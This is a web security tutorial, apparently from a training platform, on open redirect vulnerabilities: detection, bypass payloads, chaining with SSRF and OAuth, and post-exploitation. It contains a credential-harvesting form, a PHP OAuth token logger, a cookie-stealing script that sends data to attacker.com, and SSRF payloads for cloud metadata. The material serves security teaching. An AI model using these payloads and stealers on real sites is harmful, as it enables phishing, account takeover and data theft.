Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Open Redirect

Open Redirect is a web security vulnerability that allows an attacker to redirect users to an external malicious website. While often considered a lower severity issue, open redirects can be leveraged for phishing attacks, bypassing security controls, and chaining with other vulnerabilities like SSRF or OAuth attacks.

How It Works

Open redirect vulnerabilities occur when an application accepts user-controlled input to determine a redirect destination without proper validation. For example:

<?php
$redirect = $_GET['url'];
header("Location: " . $redirect);
?>

An attacker could exploit this:

https://trusted-site.com/redirect?url=https://evil.com

When users click this link, they trust the domain but are redirected to a malicious site.

Detection

Manual Testing

URL Parameter Tests

Testing parameters that control redirects:

# Step 1: Identify redirect parameters
https://site.com/redirect?url=https://example.com
https://site.com/logout?next=/dashboard
https://site.com/auth?redirect_uri=https://example.com
https://site.com/go?to=https://example.com
https://site.com/click?target=https://example.com

# Step 2: Test with external domain
https://site.com/redirect?url=https://evil.com
https://site.com/logout?next=https://evil.com
https://site.com/auth?redirect_uri=https://evil.com

# Step 3: Check if redirect happens
# - Redirected to evil.com: Vulnerable
# - Error message: Protected
# - Redirected to default: Whitelist in place

# Step 4: Common parameter names to test
url, redirect, redirect_uri, redirect_url
next, return, returnto, return_to, return_url
destination, dest, target, to, goto, go
continue, callback, callback_url, redir

HTTP Header Tests

Testing redirect headers:

# Referer-based redirects
GET /redirect HTTP/1.1
Host: target.com
Referer: https://evil.com

# X-Forwarded-Host redirect
GET /redirect HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Host header injection
GET /redirect HTTP/1.1
Host: evil.com

# Origin header
GET /redirect HTTP/1.1
Host: target.com
Origin: https://evil.com

Meta Refresh Tests

Testing HTML meta refresh:

# Check if redirect uses meta refresh
# Look in response for:
<meta http-equiv="refresh" content="0;url=USER_INPUT">

# If found, test:
https://site.com/redirect?url=https://evil.com

# Check source code for:
<meta http-equiv="refresh" content="0;url=https://evil.com">

JavaScript Redirect Tests

Testing JavaScript-based redirects:

# Check response for JavaScript redirects:
window.location = "USER_INPUT"
window.location.href = "USER_INPUT"
document.location = "USER_INPUT"
location.href = "USER_INPUT"

# Test with:
https://site.com/redirect?url=https://evil.com

# Check if JavaScript executes redirect

Automated Discovery

Using Burp Suite

# Step 1: Configure Burp to detect redirects
# Proxy > Options > Response Modification
# Disable "Follow redirections"

# Step 2: Identify redirect parameters
# Look for 3XX status codes
# Look for Location headers

# Step 3: Send to Intruder
# Set payload position: redirect?url=§https://example.com§
# Payload: Your domain with unique identifier
# Analyze responses for 3XX to your domain

# Step 4: Use Burp Extensions
# Install: Reflected Parameters
# Install: Param Miner
# Install: OpenRedireX

Using OpenRedireX

# Basic scan
python3 openredirex.py -u https://target.com

# With URL list
python3 openredirex.py -l urls.txt

# With custom payloads
python3 openredirex.py -u https://target.com -p payloads.txt

# Saving results
python3 openredirex.py -u https://target.com -o results.txt

Using Custom Scripts

# Python script for open redirect testing
import requests
from urllib.parse import urlparse

def test_open_redirect(url, param, payload):
test_url = f"{url}?{param}={payload}"
try:
response = requests.get(test_url, allow_redirects=False, timeout=5)

# Check for redirect
if response.status_code in [301, 302, 303, 307, 308]:
location = response.headers.get('Location', '')

# Check if redirects to our payload
if payload in location:
return True, location

# Check for meta refresh
if '<meta' in response.text and 'refresh' in response.text.lower():
if payload in response.text:
return True, "Meta refresh redirect"

# Check for JavaScript redirect
js_redirects = ['window.location', 'document.location', 'location.href']
for js in js_redirects:
if js in response.text and payload in response.text:
return True, "JavaScript redirect"

return False, None

except Exception as e:
return False, str(e)

# Test multiple parameters
target = "https://target.com/redirect"
parameters = ['url', 'redirect', 'next', 'return', 'goto']
payload = "https://evil.com"

for param in parameters:
vulnerable, location = test_open_redirect(target, param, payload)
if vulnerable:
print(f"[+] Vulnerable: {param} -> {location}")
else:
print(f"[-] Not vulnerable: {param}")

Attack Vectors

Direct Redirect

Basic open redirect exploitation:

# Simple external redirect
https://target.com/redirect?url=https://evil.com

# With URL encoding
https://target.com/redirect?url=https%3A%2F%2Fevil.com

# With query parameters
https://target.com/redirect?url=https://evil.com/phishing?target=victim

# Multiple redirect parameters
https://target.com/redirect?url=https://evil.com&redirect=https://evil.com

Phishing Attacks

Using trusted domains for phishing:

# Trusted domain in URL
https://legitimate-bank.com/redirect?url=https://fake-bank.com/login

# Phishing page that looks identical
# Victim sees legitimate-bank.com in URL
# Trusts the link
# Gets redirected to fake-bank.com
# Enters credentials on attacker's site

# Example phishing flow:
# 1. Email: "Security Alert from trusted-bank.com"
# 2. Link: https://trusted-bank.com/redirect?url=https://attacker.com/fake-login
# 3. User clicks, sees trusted domain
# 4. Redirected to fake login page
# 5. Credentials stolen

OAuth/SSO Token Theft

Stealing OAuth tokens:

# OAuth flow with open redirect
# Normal OAuth: https://app.com/oauth?redirect_uri=https://app.com/callback
# Exploited: https://app.com/oauth?redirect_uri=https://evil.com/steal

# Attack flow:
1. User initiates OAuth login
2. Attacker crafts link: https://app.com/oauth?redirect_uri=https://evil.com
3. User authorizes application
4. Token sent to https://evil.com instead of legitimate callback
5. Attacker steals access token

# SAML SSO redirect
https://sso.company.com/login?RelayState=https://evil.com

SSRF via Open Redirect

Chaining open redirect with SSRF:

# If target URL is validated but allows open redirect
# Attacker can bypass SSRF filters

# SSRF endpoint checks if URL starts with https://trusted.com
# But https://trusted.com has open redirect

# Payload:
https://target.com/fetch?url=https://trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/

# Flow:
1. SSRF filter sees: https://trusted.com (allowed)
2. trusted.com redirects to: http://169.254.169.254
3. Server follows redirect
4. AWS metadata accessed

Filter Bypass for XSS

Using open redirect to bypass XSS filters:

# If JavaScript URLs are filtered
# javascript:alert(1) - Blocked

# Use open redirect:
https://target.com/redirect?url=javascript:alert(1)

# Or data URLs:
https://target.com/redirect?url=data:text/html,<script>alert(1)</script>

Bypass Techniques

Protocol Bypass

Using alternative protocols:

# If http/https are filtered
# Try protocol-relative URLs
url=//evil.com
url=///evil.com

# Try without protocol
url=evil.com

# JavaScript protocol
url=javascript:alert(document.domain)

# Data protocol
url=data:text/html,<script>alert(1)</script>

# File protocol
url=file:///etc/passwd

Domain Whitelist Bypass

Bypassing domain restrictions:

# If whitelist checks for "trusted.com"

# Subdomain confusion
url=https://trusted.com.evil.com

# Using @ symbol
url=https://trusted.com@evil.com
url=https://evil.com@trusted.com # Some parsers use last domain

# Using # (fragment)
url=https://trusted.com#@evil.com

# Open redirect on whitelisted domain
url=https://trusted.com/redirect?url=https://evil.com

# IDN homograph attack
url=https://trusted.com # Using unicode lookalikes
# е (Cyrillic) looks like e (Latin)

Path Confusion

Confusing path parsing:

# Using backslash (Windows-style)
url=https://trusted.com\@evil.com
url=https://trusted.com\evil.com

# Using question mark
url=https://trusted.com?@evil.com

# Using semicolon
url=https://trusted.com;@evil.com

# Using different slashes
url=https://trusted.com/./evil.com
url=https://trusted.com/../evil.com

Encoding Bypass

Different encoding methods:

# URL encoding
url=https%3A%2F%2Fevil.com

# Double URL encoding
url=https%253A%252F%252Fevil.com

# HTML encoding
url=https://evil.com (&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;evil.com)

# Unicode encoding
url=\u0068\u0074\u0074\u0070\u0073://evil.com

# Mixed encoding
url=ht%74ps://evil.c%6fm

# Hex encoding
url=0x68747470733a2f2f6576696c2e636f6d

Whitespace and Special Characters

Using whitespace to confuse parsers:

# Leading/trailing whitespace
url= https://evil.com
url=https://evil.com
url=%20https://evil.com

# Newlines
url=https://trusted.com%0Ahttps://evil.com
url=https://trusted.com%0Dhttps://evil.com

# Tabs
url=https://trusted.com%09https://evil.com

# Null byte (older systems)
url=https://trusted.com%00https://evil.com

Open Redirect Chaining

Chaining multiple redirects:

# If filter checks final destination
# But doesn't follow redirects

# Create redirect chain:
url=https://allowed-domain1.com/redirect?url=https://allowed-domain2.com/redirect?url=https://evil.com

# Using URL shorteners
url=https://bit.ly/xxxxx
# Which redirects to https://evil.com

# Using redirect services
url=https://redirect.service.com/?url=https://evil.com

Parameter Pollution

Using multiple parameters:

# If parser takes first, filter checks last
url=https://trusted.com&url=https://evil.com
url=https://evil.com&url=https://trusted.com

# Using array notation
url[]=https://trusted.com&url[]=https://evil.com

# Different parameter names
url=https://trusted.com&redirect=https://evil.com
redirect=https://trusted.com&url=https://evil.com

JavaScript URL Bypass

Bypassing JavaScript protocol filters:

# Encoding javascript:
url=javascript:alert(1)
url=java%0script:alert(1)
url=java%09script:alert(1)
url=java%0Dscript:alert(1)

# Using data URLs
url=data:text/html,<script>alert(1)</script>
url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# Using JavaScript entities
url=javascript&colon;alert(1)
url=javascript&#58;alert(1)
url=javascript&#x3A;alert(1)

Post-Exploitation

Credential Harvesting

Creating convincing phishing pages:

<!-- Setup fake login page at evil.com -->
<!DOCTYPE html>
<html>
<head>
<title>Login - Trusted Bank</title>
<!-- Copy legitimate site's CSS -->
</head>
<body>
<!-- Exact copy of legitimate login page -->
<form action="https://attacker.com/steal" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
</body>
</html>

<!-- Send phishing email with open redirect link -->
<!-- https://trusted-bank.com/redirect?url=https://evil.com/fake-login -->

OAuth Token Theft

Stealing OAuth/OpenID tokens:

# Setup token stealer at evil.com/steal
# evil.com/steal code:
<?php
$code = $_GET['code'];
$access_token = $_GET['access_token'];
$id_token = $_GET['id_token'];

// Log tokens
file_put_contents('tokens.txt',
"Code: $code\nAccess: $access_token\nID: $id_token\n\n",
FILE_APPEND);

// Redirect to legitimate site to avoid suspicion
header('Location: https://legitimate-app.com/login');
?>

# Craft malicious OAuth URL
https://oauth-provider.com/authorize?
client_id=CLIENT_ID&
redirect_uri=https://app.com/redirect?url=https://evil.com/steal&
response_type=token&
scope=read_profile

Session Hijacking

Stealing session cookies:

// At evil.com/steal-session
<script>
// Steal cookies
var cookies = document.cookie;

// Send to attacker
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: cookies,
url: window.location.href,
referrer: document.referrer
})
});

// Redirect back to look legitimate
setTimeout(() => {
window.location = 'https://legitimate-site.com';
}, 500);
</script>

Business Logic Bypass

Using redirects to bypass payment:

# Payment flow:
# 1. /checkout -> 2. /payment -> 3. /success

# If payment page has open redirect
# https://site.com/payment?next=https://evil.com

# Attack:
# 1. Add items to cart
# 2. Go to checkout
# 3. At payment, use: /payment?next=/success
# 4. Skip payment, direct to success page
# 5. Order confirmed without payment

Common Tools

ToolDescriptionPrimary Use Case
OpenRedireXOpen redirect scannerAutomated detection
Burp SuiteWeb vulnerability scannerManual testing
OWASP ZAPSecurity testing toolAutomated scanning
Intigriti RedirectorBrowser extensionQuick testing
OpenRedirect ScannerPython toolBatch URL testing
WaybackurlsHistorical URL extractorFinding potential parameters